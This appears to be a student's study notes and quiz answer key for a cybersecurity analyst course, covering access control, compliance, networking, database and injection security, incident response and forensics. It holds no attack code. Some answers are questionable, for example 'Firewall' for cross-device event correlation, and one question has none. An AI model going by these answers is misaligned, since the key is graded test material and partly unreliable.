* Which three (3) are common methods of access control?
  * **Role Based Access Control (RBAC):** assigns access based upon the roles assigned to an individual

    Perimeter Access Control (PAC)

    **Mandatory Access Control (MAC):** common form that uses labels to restrict access

    CIA Triad Access Control (CTAC)

    **Discretionary Access Control (DAC):** requires the creator of any object to assign access controls to that object
* Which three (3) items would be considered Physical Access Control methods?
  * **Perimetral**

    Access Control Lists (ACL) - logical control

    **Work areas**

    Password policies - logical control

    **Building**
* Which is an example of technical uses of physcial\[sic] security controls?
  * Tokens

    Tramps

    Lists and logs

    **All of the above**.
* Hamid has access to certain resources because he is a Quality Control Inspector and he has access to other resources because he is the manager of that team. Which form of access control is his company most likely using?
  * RBAC
* Which type of method would include something you are, such as a fingerprint?
  * Authentication
* How many unique address spaces are used by applications running in kernel mode?
  * 1: All applications run in the same shared address space in Kernel mode
* Which two (2) of these file systems could you use to format a 64 GB USB drive?
  * FAT32 && NTFS
* Where does Windows 10 store 64-bit applications?
  * \Program Files
* Where does Windows 10 store 32-bit applications?
  * \Program Files (x86)
* Which three (3) groups can "own" a file in Linux?
  * user, group, everybody
* What application can you use to see all the active running applications and processes on macOS?
  * Activity Monitor
* What feature in macOS prevents unauthorized applications from being installed?
  * Gatekeeper
* Which three (3) utilities are found when booting macOS to the recovery partition? (Select 3)
  * Safari
  * Disk Utility
  * Time Machine

## Cybersecurity Compliance Framework & System Administration

* A security attack is defined as which of the following?
  * An event that has been reviewed by analysts and deemed worthy of deeper investigation.

    All cybersecurity events.

    An event on a system or network detected by a device.

    **An event that has been identified by correlation and analytics tools as a malicious activity.**
* Which order does a typical compliance process follow?
  * **Establish scope, readiness assessment, gap remediation, testing/auditing, management reporting**
* Under GDPR who determines the purpose and means of processing of personal data?
  * Controller
* Under the International Organization for Standardization (ISO) which standard focuses on Privacy?
  * ISO 27018
* What is an auditor looking for when they test control the control for implementation over an entire offering with no gaps?
  * Completeness
* The HIPAA Security Rule requires covered entities to maintain which three (3) reasonable safeguards for protecting e-PHI?
  * administrative

    physical

    technical
* HIPAA Administrative safeguards include which two (2) of the following?
  * Workforce training and management

    Security Personnel
* Who is the governing entity for HIPAA?
  * US Department of Health and Human Services Office of Civil Rights
* HIPAA Physical safeguards include which two (2) of the following?
  * Facility Access and Control

    Workstation and Device Security
* PCI uses which three (3) of the following Card Holder Data Environment categories to determine scope?
  * Processes

    Technology

    People
* One PCI Requirement is using an approved scanning vendor to scan at what frequency?
  * Quarterly
* In which CIS control category will you find Incident Response and Management?
  * Organizational
* Which is NOT an example of a client?
  * e-mail Server
* Which three (3) threat key factors should be considered when looking at an Endpoint Security Solution?
  * detection response, user education, threat hunting
* Which two types of updates do most organizations patch as soon as possible after testing?
  * Security and Critical
* A patch is a set of changes to a computer program or its data designed for which three (3) functions?
  * improve, fix, update
* Which three (3) are common Endpoint attack types?
  * Spear Phishing

    Whale hunting

    Ad Network
* Which three (3) of the following steps can be taken to help protect sensitive Windows domain accounts? (Select 3)
  * Disable the account delegation rights for administrator accounts.

    Grant user logon access to servers and workstations.

    Create dedicated workstation hosts without Internet and email access.

    Separate administrator accounts from user accounts.

## Network Security & Database Vulnerabilities

* Which network layer do IP addresses belong to?
  * The Network Layer
* Which address assures a packet is delivered to a computer on a different network segment from the sender?
  * The IP Address
* A network device that is capable of sending and receiving data at the same time is referred to as which of the following?
  * Full duplex
* True or **False**: Collision avoidance protocols are critical to the smooth operation of modern networks.
* Comparing bridges with switches, which are three (3) characteristics specific to a bridge?
  * End-user devices share bandwidth on each port.
  * Virtual LANs are not possible.
  * Half-duplex transmission.
* ARP tables only keep track of addresses within the node's broadcast domain
* If a network server has four (4) network interface cards, how many MAC addresses will be associated with that server?
  * 4
* **True** or False: When you connect your laptop to a new network, a new IP address will be assigned.
* What does the Address Resolution Protocol (ARP) do when it needs to send a message to a location that is outside its broadcast domain?
  * ARP sends the message to the MAC address of the default gateway.
* Routing tables are maintained by which of the following devices?
  * On any network connected device.
* What is the purpose of a default gateway?
  * It forwards messages coming from, or going to, external networks.
* If a message is being sent to a computer that is identified in the computer's routing table, what type of connection would be established?
  * Direct
* What is meant by "stateless" packet inspection?
  * It is a packet-by-packet inspection with no awareness of previous packets.
* **True** or False: An Intrusion Detection System (IDS) is generally a passive device that listens to network traffic and alerts an administrator when a potential problem is detected?
* **True** or False: The primary difference between an Intrusion Detection System (IDS) and an Intrusion Prevention System (IPS) is that an IDS is designed as a passive system that listens and alerts while an IPS is an active system that is designed to take action when a problem is detected?
* Which intrusion system does not add any delay to network traffic?
  * IDS
* How does using Network Address Translation (NAT) provide an additional layer of security to your network?
  * By hiding the real IP addresses of all the devices on your private network and exposing only a single public IP address.
* Which type of NAT routing maps unregistered IP addresses to a single registered IP address allowing thousands of users to be connected to the Internet using only a single global IP address?
  * Overload
* Which network layer do MAC addresses belong to?
  * Data Link
* Which address assures a packet is delivered to a computer on the same network segment as the sender?
  * The MAC address.
* A network device that cannot send and receive data at the same time is referred to as which of the following?
  * Half duplex
* When a NIC reads a packet header and sees the destination address is not its own address, what does it do with the packet?
  * It discards the packet.
* Comparing bridges with switches, which are three (3) characteristics specific to a switch?
  * Virtual LANs are possible.

    Each port is dedicated to a single device; bandwidth is not shared.

    Full-duplex transmission.
* True or **False**: Switches can connect two geographically dispersed networks.
* A network interface card's MAC address is also known by which two (2) of the following?
  * The physical address.

    The burn address.
* What is the main function of the Address Resolution Protocol (ARP)?
  * To translate a MAC address to an IP address and vice versa.
* What does a router do when it needs to send a packet to an address that is not in its routing table?
  * It forwards the packet to the default gateway.
* What happens to messages sent from a computer that has no gateway address specified?
  * Messages sent to other computers on the same subnet will be delivered but those destined to computers on other networks will not be delivered.
* Which three (3) are types of routes found in a routing table?
  * Direct

    Dynamic

    Default
* The IP address range goes from 0.0.0.0 to 255.255.255.255 and is known as the "four octets". Why are these 4 numbers called octets?
  * The number 255 in decimal takes up 8 digits in binary.
* How many octets are used to define the network portion of the IP address in a Class C network?
  * 3
* **True** or False: A routable protocol is a protocol whose packets may leave your network, pass through your router, and be delivered to a remote network.
* True or **False**: The destination address is defined in the packet header but the source address is in the packet footer.
* Which network mask belongs to a Class A network?
  * 255.0.0.0
* What is the primary function of DNS?
  * To translate domain names to IP addresses and vice versa.
* How does a new endpoint know the address of the DHCP server?
  * The endpoint sends a DHCP Discover broadcast request to all endpoints on the local network.
* Which Syslog layer contains the actual message contents?
  * Syslog Content
* **True** or False: Setting the correct Syslog Severity Level on systems helps keep the Syslog server from being flooded by the millions of messages that could be generated by these systems.
* **True** or False: The Syslog message typically includes the severity level, facility code, originator process ID, a time stamp, and the hostname or IP address of the originator device.
* Why is port mirroring used?
  * To provide a stream of all data entering or leaving a specific port for debugging or analysis work.
* What is the main difference between a Next Generation Firewall (NGFW) and a traditional firewall?
  * NGFW use sessions.
* **True** or False: Unlike traditional stateful firewalls, next-generation firewalls drill into traffic to identify the applications traversing the network.
* What are the two (2) primary methods used by Intrusion Prevention Systems (IPS) to discover an exploit?
  * Statistical anomaly-based detection.
  * Signature-based detection.
* If your nontechnical manager told you that you must configure your traditional second-generation firewalls to block all users on your network from posting messages on Facebook from their office computers, how would you carry out this request?
  * You would have to block any IP addresses used by Facebook.
* How does an endpoint know the address of the DNS server?
  * It is manually configured in the network settings by the administrator or obtained from the DHCP server.
* What is the primary function of DHCP?
  * To automatically assign IP addresses to systems.
* Which Syslog layer would handles the routing and storage of a Syslog message?
  * Syslog Application
* Which of the following flow data are gathered by utilities such as NetFlow?
  * Packet count and byte count.

    Source and destination TCP/UDP ports.

    Source and destination IP addresses.

    Routing and peering data such as TCP flags and protocol.

    **All of the above.**
* When a network interface card in operating in promiscuous mode, what action does it take?
  * The NIC sends all packets to the CPU for processing instead of only those packets indicated for its MAC address.
* If a packet is allowed to pass through a NGFW based upon the established firewall rules and a new session is established, how does the NGFW treat the next packet it encounters from the same session?
  * Subsequent packets of the same session are automatically allowed.
* If your nontechnical manager told you that you must configure your next generation firewalls (NGFW) to block all users on your network from posting messages on Facebook from their office computers, what would be the consequence of carrying out his order?
  * No serious consequence, application-level inspection and blocking can be configured.
* Monitoring network traffic and comparing it against an established baseline for normal use is an example of which form of intrusion detection?
  * Statistical anomaly-based detection
* Which are three (3) characteristics of a highly available system?
  * Redundancy

    Failover

    Monitoring
* True or **False**: If all of your organization's data is centralized in a small number of data centers, than focusing security on perimiter defense is adequate to assure your data is safe.
* Which two (2) of the following data source types are considered structured data?
  * Data warehouses
  * Distributed databases
* Data that has not been organized into a specialized repository, but does have associated information, such as metadata that makes it more amenable to processing than raw data, is an example of which data model type?
  * Semi-structured data
* How are the tables in a relational database linked together?
  * Through the use of primary and foreign keys.
* In the video Securing the Crown Jewels, the "Identification and Baseline" phase contains which three (3) of the following items?
  * **Vulnerability Assessment**

    Blocking & Quarantine

    Activity Monitoring

    **Discovery & Classification**

    **Entitlements Reporting**
* In the video *Securing the Crown Jewels*, the "Real-Time Monitor & Protection" phase contains which three (3) of the following items?
  * Activity Monitoring

    Blocking & Quarantine

    Dynamic Data Masking
* In the video Securing the Crown Jewels, the "Raise Bar" phase contains:
  * Reconfigure, Mask & Encrypt
* In the video Leveraging Security Industry Best Practices, which US Government agency is a co-publisher of the Database Security Requirements Guide (SRG)?
  * Department of Defense (DoD)
* For added security, a firewall is often placed between which of these?
  * The database and the hardened data repository.
* True or **False**: In a vulnerability assessment test, a new commercial database installed on a new instance of a major operating system should pass 80-90% of the vulnerability tests out-of-the-box unless there is a major flaw or breach.
* Which of these hosting environments requires the enterprise to manage the largest number of different data sources?
  * on prem
* While data security is an ongoing process, what is the correct order to consider these steps?
  * Discover, Harden, Monitor & Protect, Repeat
* In setting up policy rules for data monitoring, what is the purpose of "exclude" rules?
  * To exclude certain applications or safe activities from being logged.
* True or **False**: Data monitoring products such as IBM Guardium can send access alerts to syslog for manual intervention by a security analyst but must be connected to addition applications if automated interventions are desired.
* To created auditable reports of data access using the IBM Guardium product, the administrator would do which of the following?
  * Use the Audit Process Builder feature to automate the reporting process.
* **True** or False: The IBM Guardium monitoring applications is capable of monitoring activities in non-relational databases such as Hadoop, Cognos, and Spark.
* At a minimum, which 3 entities should be captured in any event log?
  * When the activity took place.
  * What activity took place.
  * Who or what committed the activity.
* True of **False**: In the IBM Guardium data monitoring tool, the number of failed login attempts that would trigger an alert are always counted since the last successful login.
* Which activity should be considered suspicious and might indicate inappropriate activity is being attempted?
  * Attempts are made to access data using nonstandard tools, such as MS Excel or MS Access, rather than through the application the data belongs to.
* Which two (2) activities should be considered suspicious and warrant further investigation?
  * Use of an Application ID from an IP that is different from what has been specified by the application owner.
  * Use of an Application ID from a hostname that is different from what has been specified by the application owner.
* Distributed databases, data warehouses, big data, and File shares are all classified as what?
  * Data source types
* Hadoop, MongoDB, and BigTable are all examples of which data source type?
  * Big data databases
* Data that has been organized into a formatted repository, typically a database, so its elements can be made addressable, is an example of which data model type?
  * Structured data
* Which of the following is the primary difference between a flat file database and a relational database?
  * All the data in a flat file database is stored in a single table.
* In the video Leveraging *Security Industry Best Practices*, where would you turn to look for help on establishing security benchmarks for your database?
  * not Department of Defense/Defence Information Systems Agency (DoD/DISA).
  * Center for Internet Security (CIS).
* Most of the time, how do users access data?
  * Through an application.
* **True** or False: In a vulnerability assessment test, it is not uncommon to fail more than 50% of the tests before the operating system and database are hardened.
* Which of these hosting environments requires the service provider to manage the largest number of different data sources?
  * SaaS
* While data security is an ongoing process, what is the correct order to consider these steps?
  * Identification & Baseline, Raise the Bar, Real-time Monitor & Protection
* To automatically terminate a session if an attempt is made to access data in a sensitive table, such as Social Security (SSN) ID numbers, you would set up which type of rule?
  * not terminate
  * An Access rule.
* **True** or False: Data monitoring products such as IBM Guarduim are fully capable of blocking access to sensitive data based upon access parameters configured in policy rules.
* In which two (2) ways can security events collected by a data monitoring tool be logged to a security incident and event management (SIEM) system?'
  * **Configure the monitoring system to write to the SIEM systems syslog file.**

    **Configure bidirectional communication between the monitoring and SIEM systems, if available.**

    Export security events from your monitoring tool and import them into your SIEM tool.

    Configure your SIEM system to read the monitoring systems local syslog file.
* True or **False**: Data monitoring tools such as IBM Guardium are designed to monitor activities within a database, but external products, such as a privileged identity management (PIM) tool would be required to monitor changes to the data monitoring tool itself, such as the addition of new users or the alteration of existing user accounts.
* **True** or False: In the IBM Guardium data monitoring tool, it is possible to create a report that shows not only how many SQL unauthorized access attempts were made by an individual, but also exactly which SQL statements were disallowed.
* Which activity should be considered suspicious and might indicate inappropriate activity is being attempted?
  * Attempts are made to SELECT lists of usernames and passwords by a non-administrator account.
* Which two (2) activities should be considered suspicious and warrant further investigation?
  * **The data monitoring logging system was manually shut down.**

    **There were attempts to purge event logs.**

    It takes an authorized user 3 attempts to enter the correct password.

    An authorized user attempts to run SQL statements with invalid syntax.
* Which operating system is susceptible to OS Command Injection attacks?
  * All
* What is a possible impact of running commands thought OS shell interpreters such as sh, bash, cmd.exe and powershell.exe?
  * It makes it easier for a hacker to inject additional commands or arguments.
* **True** or False: Safe coding practice avoids using OS commands when it can be avoided.
* True or **False**: Safe coding practice always runs commands through a shell interpreter.
* **True** or False: Safe coding practice uses library functions when running OS commands.
* True or **False**: Safe coding practice uses blacklists and avoids the use of whitelists.
* A hacker tailoring his actions based on the database errors the application displays is an example of which type of SQL Injection attack?
* **True** or False: Use of prepared statements is an effective mitigation against SQL Injection attacks because it seperates the query structure from the query parameters.
* **True** or False: Native database errors should be hidden from the user to prevent hackers from gaining insight into the internal structure of your application.
* True or **False**: The use of object-relational mapping (ORM) libraries is a dangerous practice that can help hackers conduct successful SQL Injection attacks.
* Which of the following statements is True?
  * Injection attacks were ranked #1 on the OWASP Top 10 list in 2013 and again in 2017.
* Which vulnerability is being exploited in an OS Command Injection attack?
  * Poor user input sanitation and unsafe execution of OS commands.
* What is a simple but effective way to protect against DLL hijacking?
  * use absolute paths
* **True** or False: Safe coding practice runs code with the least possible privilege.
* True or **False**: Safe coding practice always specifies relative paths when running applications or using shared libraries.
* **True** or False: Safe coding practice does not let user input reach an OS command unchanged.
* A hacker exfiltrating data by injecting an HTTPrequest command is an example of which type of SQL Injection attack?
  * Out of Band
* Protecting against SQL Injection attacks by sanitizing user input can be accomplished by which two (2) of the following techniques?
  * Use of whitelists.

    Use of mapping tables.
* True or **False**: Limiting database user permissions is an ineffective strategy in preventing SQL Injection attacks since the injected code will run directly against the database regardless of the permission levels that have been set.
* Which of the following will help reduce the SQL Injection attack surface?
  * Use of stored procedures.
* When developing an application, using NoSQL instead of MySQL will have what effect on the applications susceptibility to SQL Injection attacks?
  * Reduce the attack surface, but not eliminate it

## Penetration Testing, Incident Response and Forensics

* General Methodology
  * Planning
    * Setting Objectives
    * Establishing Boundaries ([Source](https://hub.packtpub.com/penetration-testing-rules-of-engagement/))
    * Informing Need-to-know employees
  * Discovery
    * Vulnerability scanning
    * Google Dorks ([Source](https://securitytrails.com/blog/google-hacking-techniques))
    * Passive-Online
      * Wire sniffing
      * MitM
      * Replay attack
    * Active-Online
      * password brute-forcing
      * Network mapping
      * port scanning
      * trojan/spyware/keyloggers
      * hash injection (NTLM, LanMan)
      * Phishing
    * Offline Attacks
      * Pre-Computed hashes
      * Distributed Network Attack (DNA), password cracker
      * Rainbow
    * Tech-less
      * Social engineering
      * Shoulder surfing
      * Dumpster diving
  * Attack
    * Exploited vulnerabilities
      * misconfigurations
      * kernel flaws
      * insufficient input validation
      * symbolic links
      * file descriptor attacks
      * race conditions
      * buffer overflows
      * incorrect file and directory permissions
  * Report
    * Executive Summary
      * Background
      * Overall posture
      * risk ranking
      * general findings
      * recommendations
      * roadmap
        * 30,60,90 day plan

![](https://1094113337-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3hoduT4ByoNaznkzhG%2F-MPGr1w0uLolBhOLJGbs%2F-MPGsTRfEoM-ygsp-9hr%2Fimage.png?alt=media\&token=47700966-af9b-4524-8ef2-3f3a7b183880)

* Incident Response
  * General
    * Event -> Incident
    * Team Models: Central, Distributed, Coordinating
    * Common Attack Vectors
      * External/Removable Media
      * Attrition
      * Web
      * Email
      * Impersonation
      * Loss or Theft of Equipment
    * Baseline Questions; help coordinate with other teams and the media
      * Who attacked you? Why?
      * When and how did it happen?
      * Did this happen because you have poor security processes?
      * How widespread is the incident?
      * What steps are you taking to determine what happened and prevent future occurrences?
      * What is the impact? Any PII exposed? Estimated cost of incident?

![Resources](https://1094113337-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3hoduT4ByoNaznkzhG%2F-MPGuD51w9m0SmbomLpF%2F-MPGveP4HqgUQ-j8KjW8%2Fimage.png?alt=media\&token=9818586d-6a9e-41d6-9079-8dd11121222e)

* Incident Response Continued
  * Phases
    * Preparation
      * Policy ([Source](https://www.sans.org/reading-room/whitepapers/incident/documentation-incident-response-air-tank-scuba-diving-2021))
        * IR Team, roles, means, tools, resources, policy testing, action plan
        * Risk assessment, network security, user awareness, host security, malware prevention
        * What types of events should trigger investigation?
        * What assets do we have?
    * Detection & Analysis
      * Precursor: sign incident may occur in future
        * e.g. log shows vulnerability scanning going on
      * Indicator: a sign that an incident may have occurred or may be occurring now
        * e.g. unusual deviation from typical network flow
      * Monitoring Systems
        * IDS vs IPS
        * DLP
        * SIEM
      * Documentation
        * current status, summary, indicators, related incidents, actions taken, chain of custody if applicable, impact assessments, contact info, evidence gathered, comments from incident handlers, next steps to be taken
        * Functional Impact Categories
          * None, Low, Medium, High: effect on ability to provide services to users
        * Information Impact Categories
          * None, Privacy Breach, Proprietary Breach, Integrity loss
        * Recoverability Effort Categories
          * Regular, Supplemented, Extended, Not Recoverable
        * Notifications
          * CIO, Local and Head of InfoSec, other incident response teams in or out of the org, system owner, HR, Public Affairs, legal department, law enforcement if appropriate
    * Containment, Eradication & Recovery
      * Containment: decision making is easier with predetermined procedures
        * Potential damage to and theft of resources
        * need for evidence preservation
        * service availability
        * time and resources needed to implement the strategy
        * effectiveness of the strategy
        * duration of the solution
      * Forensics in IR
        * Capture a backup image of the system as-is
        * Gather evidence
        * Follow chain of custody protocols
      * Eradication & Recovery
        * Deleting malware, disabling breached accounts, identifying and mitigating all vulnerabilities
        * Restoring systems from clean backups, rebuilding systems from scratch, replacing compromised files with clean versions, patching, changing passwords, tightening network perimeter security
        * high level of testing and monitoring are often deployed to ensure restored systems are no longer impacted by the incident. This could take weeks or months depending on how long it takes to bring back compromised systems into production.
        * Checklist
          * Can problem be isolated? Are all affected systems isolated from non-affected systems? Have forensic copies of affected systems been created for further analysis?
          * If possible can the system be reimaged and then hardened with patches and/or other countermeasures to prevent or reduce the risk of attacks? Have all malware and other artifacts been removed, and systems hardened?
          * What tools are you goin got use to test, monitor, and verify that the systems being restored to productions are not compromised by the same methods that caused the original incident?
    * Post-incident Activity
      * Retrospective: what happened at what times? What info was needed sooner? Were procedures adequate? What could be done differently? Could communication be improved?
      * Utilizing data collected
      * Evidence retention
      * Documentation
  * Incident Response Demo
    * Common Threats
      * Software Attacks
      * Data exfiltration
      * Information Sabotage
      * Theft of equipment
    * Attack Vectors
      * Website hosting malicious content, countered by:
        * Qradar
        * McAfee ePolicy Orchestrator
        * Next generation firewalls
* Questions
  * Which three (3) of the following are phases of an incident response?
    * Containment, Eradication & Recovery
    * Preparation
    * Detection & Analysis
  * Which statement is true about an event?
    * An event may be totally benign, like receiving an email.
  * True or **False**: A robust automated incident response system should be able to detect and prevent loss from all incidents.
  * A good automated Incident Response system should be able to detect which three (3) of these common attack vectors?
    * **An email phishing attack.**
    * **An unauthorized removable drive being attached to the network.**
    * **A brute force hacking attack.**
    * A former employee using his knowledge at a competitor company.
  * Which three (3) of the following are components of an Incident Response Policy?
    * IR Awareness training.
    * **Means, tools and resources available.**
    * **Identity of IR team members.**
    * **IR Policy testing responsibility.**
  * Contact information, Smart phones, and Secure storage facilities all belong to which Incident Response resource category?
    * Incident Handler Communications and Facilities.
  * Which three (3) of the following would be considered an incident detection precursor?
    * **Detecting the use of a vulnerability scanner**
    * An application log showing numerous failed login attempts from an unknown remote system.
    * **A vendor notice of a vulnerability to a product you own.**
    * **An announced threat against your organization from an activist group.**
  * True or **False**: The Incident Response team should keep their documentation as concise as possible so only the most important facts take up the attention of the team leadership.
  * What is the proper classification for a data breach that resulted in the exposure of sensitive personally identifiable information (PII)?
    * Privacy Breach
  * What is the proper classification for the recovery effort from a breach if you can estimate the total effort required but it will require bringing in additional resources?
    * Supplemented
  * During which stage of a comprehensive Containment, Eradication & Recovery strategy does NIST recommend considering the following: Potential damange to and theft of resources, Need for evidence preservation, and Service availability?
    * Containment
  * Which Post Incident activity would include ascertaining exactly what happened and at what times?
    * Lessons learned meeting
  * Which statement is true about an incident?
    * An incident is an event that negatively affects IT systems.
  * **True** or False: A Coordinating Incidents Response Team provides advice and guidance to the Distributed IR teams in each department, but generally does not have specific authority over those teams.
  * Which Incident Response Team model describes a team that has authority over all aspects of IR within the entire organization?
    * Central
  * In what way will having a set of predefined baseline questions will help you in the event of an incident?
    * Coordinate with other teams and the media.
  * Incident Response team resources can be divided into which three (3) of the following categories?
    * Incident Analysis Hardware and Software

      Incident Analysis Resources

      Incident Handler Communications and Facilities
  * Port lists, Documentation, and Cryptographic hashes all belong to which Incident Response resource category?
    * Incident Analysis Hardware and Software

      Incident Handler Communications and Facilities

      **Incident Analysis Resources**

      Incident Post-Analysis Resources
  * Which three (3) of the following would be considered an incident detection indicator?
    * **The discovery of a file containing unusual characters by a system administrator.**

      Detecting the use of a vulnerability scanner.

      **A significant deviation from typical network traffic flow patterns.**

      **An application log showing numerous failed login attempts from an unknown remote system.**
  * Which type of monitoring system analyzes logs and events in real time?
    * SIEM
  * **True** or False: Highly detailed and thorough documentation is needed to support the analysis of current and future incidents.
  * What is the proper classification for a breach that results in sensitive or proprietary information being changed or deleted.
    * Integrity loss
  * What is the proper classification for the recovery effort from a breach if sensitive data was stolen and posted on a public web site?
    * Not Recoverable
  * During which stage of a comprehensive Containment, Eradication & Recovery strategy does NIST recommend considering the following: Eliminate components of the incident, Disable compromised accounts, and Identify and mitigate vulnerabilities?
    * Eradication
  * Which Post Incident activity would include reviewing response times, which systems were impacted and other metrics associated with the incident?
    * Utilizing collected data
* Digital Forensics
  * Types of Data
    * CDs/DVDs
    * Internal/External drives
    * Volatile data
    * Network activity
    * Application usage
    * Portable digital devices
    * externally owned property
    * computer at home office
    * alternate sources of data
    * logs
    * keystroke monitoring
  * Objectives
    * Recover, analyze, preserve materials; in format useful as evidence in court of law
    * design procedures to ensure evidence is not corrupted
    * data acquisition and duplication
    * identify quickly, estimate potential impact
    * produce forensic report
    * preserve evidence by following chain of custody
  * Process
    * Collection
      * Develop plan
      * acquire
      * verify integrity; hashes
  * Examination
    * Bypassing controls: data compression, encryption, ACLs
    * Sea of Data: hundreds of thousands of files, not all relevant
    * Tools: filter and exclude data from searches
  * Analysis
    * putting the pieces together
      * IDS log, link event to host, host audit logs linking event to user account, host IDS log indicating what actions user performed
  * Reporting
    * If it's not in the report, you cannot testify about it.
    * Must detail the basis for your conclusions
    * Detail every test conducted, the methods and tools used, and results
    * Report Composition
      * Overview/Case Summary
      * Forensic Acquisition & Examination Preparations
      * Findings and Report (analysis)
      * Conclusion
    * SANS Institute Best Practices
      * screenshots
      * bookmark evidence via forensic app
      * built-in logging options within forensic tool
      * highlight and export data items into CSV or TXT files
      * digital audio recorder vs handwritten notes
  * Forensic Data
    * What's not there
      * Deleted files: pointer deleted, file might still exist
      * Slack space: if a file requires less space than the file allocation unit size, an entire file allocation unit is still reserved for the file
      * Free space: area on media that is not allocated to any partition may still contain pieces of data
    * MAC data
      * modification time, access time, creation time
    * Logical Backup vs Imaging
      * Logical: copies the directories and files of a logical volume, no deleted files or residual data stored in slack space
      * Imaging: bit-for-bit copy of original media
        * disk-to-disk or disk-to-file
        * should not be used on a live system since data is always changing
    * Tools for Techniques
      * File viewers
      * uncompressing files
      * GUI for data structures
      * identifying known files
      * string searches and pattern matches
      * metadata
    * Operating System Data
      * Collection & Prioritization of Volatile Data
        * slack space, free space, network config/connections, running processes, open files, login sessions, operating system time
      * Collecting non-volatile data
        * types: config files, logs, app files, data files, swap files, dump files, hibernation files, temp files
        * Power-Down options, File system data collected, users and groups, passwords, network shares, logs
      * Logs
        * network hack: collect logs of all network devices in route
        * unauthorized access: save web server logs, app server logs, app logs, router or switch logs, firewall logs, database logs, IDS logs, etc
        * trojan/worm/virus: save antivirus logs apart from the event logs (pertaining to the antivirus)
      * Windows
        * Recycle Bin, Registry, Thumbs.db, Files, Browser History, Print Spooling
      * MacOS
        * has forensic duplicate technique: Target Disk Mode
      * Linux
        * /etc/config
        * /etc/passwd
        * /var/log
        * /home/$USER
    * Application Data
      * Application Components
        * Config Settings
          * Config File
          * Runtime Options
          * Added to Source Code
        * Authentication
          * External
          * Proprietary
          * Pass-through
          * Host/user Environment
        * Logs
          * Event
          * Audit
          * Error
          * Installation
          * Debugging
        * Data
          * can live in memory or permanent files
          * file format can be generic or proprietary
          * may be in databases
          * some apps create temp files during session or improper shutdown
        * Supporting Files
          * Docs
          * Links
          * Graphics
        * App Architecture
          * Local
          * Client/Server
          * Peer-to-Peer
      * Types of Apps
        * Email
        * Web Usage
          * Web Data from Host
            * Favorite sites
            * History w/ timestamps of sites visited
            * cached web data files
            * cookies
          * Web Data from Server
            * Timestamps
            * IP addresses
            * Web Browser version
            * Type of request
            * Resource requested
        * Interactive messaging
          * IRC, IM, VoIP
        * File Sharing
        * Document usage
        * Security apps
        * Data Concealment tools
    * Network Data
      * Sources
        * Firewalls and Routers
        * Packet Sniffers and Protocol Analyzers
        * Intrusion Detection System
        * Security Event Management Software
        * Network Forensic Analysis Tools
        * Remote Access
      * Data Value
        * IDS: starting point for finding malicious activity
        * SEM: automatically bringing together multiple sources of information and presenting useful info
        * NFAT - Network Forensic Analysis Tool
        * Firewalls, Routers, Proxy Servers, & RAS
        * DHCP Servers: timestamps, who was using what IP when
        * Packet Sniffers: huge sea of info
        * Network Monitoring: finding variations from normal traffic flows
        * ISP records: useful to determine attacker
      * Attacker Identification
        * Contact IP Address Owner
        * Send Network Traffic - not recommended for orgs
        * Application Content - data packets could contain info of attacker's identity
        * Seek ISP assistance - requires court order and is done only to assist in the most serious of attacks
        * History of IP address - look for trends of suspicious activity
  * Questions
    * Digital forensics can be defined as the application of science to the identification, collection, examination, and analysis of data.
    * According to NIST, a forensic analysis should include four elements, Places, Items, Events and what?
      * People
    * **True** or False. Digital forensics report must contain details of every test conducted, the methods and tools used, and the results.
    * Which section of a digital forensics report would contain a list of the steps you have taken to insure the integrity of the evidence?
      * Forensic Acquisition & Examination Preparation
    * Network activity, Application usage, Logs and Keystroke monitoring are all sources of what?
      * Data
    * What are the three (3) main hurdles that must be overcome when examining data? (Select 3)
      * Dealing with a sea of data. A single hard drive will contains many thousands of files that are not relevant to our investigation.
      * Selecting the most effective tools to help with the searching and filtering of data.
      * Bypassing controls such as operating system and encryption passwords.
    * True of **False**. Only data files can be effectively analyzed during a forensic analysis.
    * Most data files are smaller than the number of blocks allocated to their storage by the file system, the unused spaces is known as what?
      * Slack space
    * **True** or False. When collecting forensic data from a running system, you should always attempt to collect volatile data first.
    * Which of these applications would likely be of the most interest in a forensic analysis?
      * Patch files

        Operating system DLLs

        **Email**

        OSI Application Layer protocols
    * Digital forensics is commonly applied to which of the following activities?
      * Criminal investigation

        Incident handling

        Data recovery

        **All of the above**
    * NIST includes which three (3) as steps in collecting data? (Select 3)
      * **Acquire the data**

        **Develop a plan to acquire the data**

        **Verify the integrity of the data**

        Normalize the data
    * What is the primary purpose of maintaining a chain of custody?
      * To avoid allegations of mishandling or tampering of evidence.
    * **True** or False. Digital forensics had been used to solve a number of high-profile violent crimes.
    * True or **False**. Digital forensics report is a summary of your findings. If your case goes to trial, your testimony can, and usually does, involve far more detail than is in the report.
    * Which section of a digital forensics report would include using the best practices of taking lots of screenshots, use built-in logging options of your digital forensics tools, and exporting key data items into a .csv or .txt file?
      * Findings & Analysis
    * Which types of files are appropriate subjects for forensic analysis?
      * Data files

        Image and video files

        Application files

        **All of the above**
    * Deleting a file results in what action by most operating systems?
      * The memory registers used by the file are marked as available for new storage but are otherwise not changed.
    * Forensic analysis should always be conducted on a copy of the original data. What type of copying is appropriate for getting data from a live system that cannot be taken offline?
      * A logical backup
    * How does a forensic analysis use hash sets acquired from NIST's Software Reference Library project?
      * They can quickly eliminate known good operating system and application files from consideration.
    * Which three (3) of the following data types are considered non-volatile? (Select 3)
      * **Dump files**

        Free space

        **Swap files**

        **Logs**
    * Configuration files are considered which data type?
      * Non-volatile
    * Which three (3) of the following are application components? (Select 3)
      * **Application architecture**

        **Authentication mechanisms**

        OSI Application Layer protocols

        **Data files**
    * Which of these applications would likely be of the least interest in a forensic analysis?
      * Patch files
    * The Internet layer of the TCP/IP stack, also known as the Network layer in the OSI model, contains which two (2) protocols that are very useful to a forensic investigation? (Select 2)
      * UDP
      * **ICMP**
      * **IPv4 / IPv6**
      * LDAP
    * Which device would you inspect if you were looking event data correlated across a number of different network devices?
      * Firewall
    * Which of these sources might require a court order in order to obtain the data for forensic analysis?
      * ISP records
* Scripting
  * How many spaces must be used to indent a block of code in Python?
    * Any number 1 or more as long as the same indentation is used within a code block.

## Cyber Threat Intelligence

### Threat Intelligence

* Security Drivers
  * breached records
  * human error
  * iot innovation
  * breach cost amplifiers (3rd parties, cloud migration, system complexity)
  * skills gap
* $3.92M total cost of a data breach
* Insider Threats
* Questions
  * Which three (3) of these were among the top 5 security drivers in 2019? (Select 3)
    * New security and privacy laws that went into effect in 2019

      **Human error accounting for the majority of security breaches**

      **The number of breached records in 2019 more than 3 times that of 2018**

